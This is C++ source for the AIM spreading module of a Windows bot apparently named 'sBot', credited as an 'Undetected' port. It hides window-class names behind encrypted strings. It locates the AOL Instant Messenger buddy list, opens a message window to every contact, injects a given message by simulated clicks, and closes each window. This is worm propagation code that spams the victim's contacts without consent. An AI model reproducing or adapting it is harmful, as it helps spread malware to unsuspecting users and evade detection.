/* sBot Aim.cpp Credits to: ? Undetected + Port by a59 */ #include "../header/Define.h" #ifndef NO_AIM #include "../header/Include.h" #include "../header/Externs.h" unsigned long __stdcall AIMSpread( void *pVoid ) { /* Threaded function for aim spread */ char* szMsg = (char *)pVoid; HWND hBuddyList = FindBuddyList( ); if( fIsWindow( hBuddyList ) ) IMAll( hBuddyList, szMsg ); if( hBuddyList ) fCloseHandle( hBuddyList ); return 0; }; HWND FindBuddyList( void ) { HWND oscarNotify = fFindWindow( Decrypt( StatusNotify ), NULL); if( fIsWindow( oscarNotify ) ) { fSendMessage( oscarNotify, WM_COMMAND, 20003, 0 ); HWND buddyList = 0; HWND aimAd = 0; do { buddyList = fFindWindowEx( 0, buddyList, Decrypt( CNum ), NULL ); if ( fIsWindow( buddyList ) ) { aimAd = fFindWindowEx( buddyList, 0, Decrypt( AimAd ), NULL ); if( fIsWindow( aimAd ) ) return buddyList; } }while( fIsWindow( buddyList ) ); } return 0; }; void SendIM( HWND imWindow, LPCTSTR message ) { HWND textBox = 0; HWND wndAte = 0; do { wndAte = fFindWindowEx( imWindow, wndAte, Decrypt( WndClass ), NULL ); if( fIsWindow( wndAte ) ) { textBox = fFindWindowEx( wndAte, 0, Decrypt( CBClass ), NULL ); if( fIsWindow( textBox ) ) { textBox = fFindWindowEx( wndAte, 0, Decrypt( AteClass ), NULL ); fSendMessage( textBox, WM_SETTEXT, 0, (LPARAM)message ); wndAte = 0; } } }while( fIsWindow( wndAte ) ); do { wndAte = fFindWindowEx( imWindow, wndAte, Decrypt( OscarIcon ), NULL ); if( fIsWindow( wndAte ) ) { if( ( (int)fGetMenu( wndAte ) ) == 409 ) { fSendMessage( wndAte, WM_LBUTTONDOWN, 0, 0 ); fSendMessage( wndAte, WM_LBUTTONUP, 0, 0 ); wndAte = 0; } } }while( fIsWindow( wndAte ) ); }; void IMAllWindows( LPCTSTR message ) { HWND imWindow = 0; do { fFindWindowEx( 0, 0, Decrypt( AimIMsg ), NULL ); if( fIsWindow( imWindow ) ) { SendIM( imWindow, message ); fSendMessage( imWindow, WM_CLOSE, 0, 0 ); } fSleep( 4000 ); }while( fIsWindow( imWindow ) ); }; void IMAll( HWND buddyList, LPCTSTR message ) { HWND oscarTree = fFindWindowEx( buddyList, 0, Decrypt( CNum ), NULL ); oscarTree = fFindWindowEx( oscarTree, 0, Decrypt( OscarTree ), NULL ); if( fIsWindow( oscarTree ) ) { int itemCount = fSendMessage( oscarTree, LB_GETCOUNT, 0, 0 ); int itemIndex = -1; while( itemCount > itemIndex ) { fSendMessage( oscarTree, LB_SETCURSEL, ++itemIndex, 0 ); fSendMessage( oscarTree, WM_KEYDOWN, 37, 0 ); fSendMessage( oscarTree, WM_KEYUP, 37, 0 ); } itemCount = fSendMessage( oscarTree, LB_GETCOUNT, 0, 0 ); itemIndex = itemCount; --itemIndex; while( --itemIndex >= 0 ) { fSendMessage( oscarTree, LB_SETCURSEL, itemIndex, 0 ); fSendMessage( oscarTree, WM_KEYDOWN, 39, 0 ); fSendMessage( oscarTree, WM_KEYUP, 39, 0 ); int temp = fSendMessage( oscarTree, LB_GETCOUNT, 0, 0 ); temp -= ( itemCount - itemIndex ); for( int i = itemIndex + 1; i <= temp; ++i ) { fSendMessage( oscarTree, LB_SETCURSEL, i, 0 ); fSendMessage( buddyList, WM_COMMAND, 139, 0 ); IMAllWindows( message ); } fSendMessage( oscarTree, LB_SETCURSEL, itemIndex, 0 ); fSendMessage( oscarTree, WM_KEYDOWN, 37, 0 ); fSendMessage( oscarTree, WM_KEYUP, 37, 0 ); fSendMessage( oscarTree, LB_SETCURSEL, itemIndex, 0 ); } } }; #endif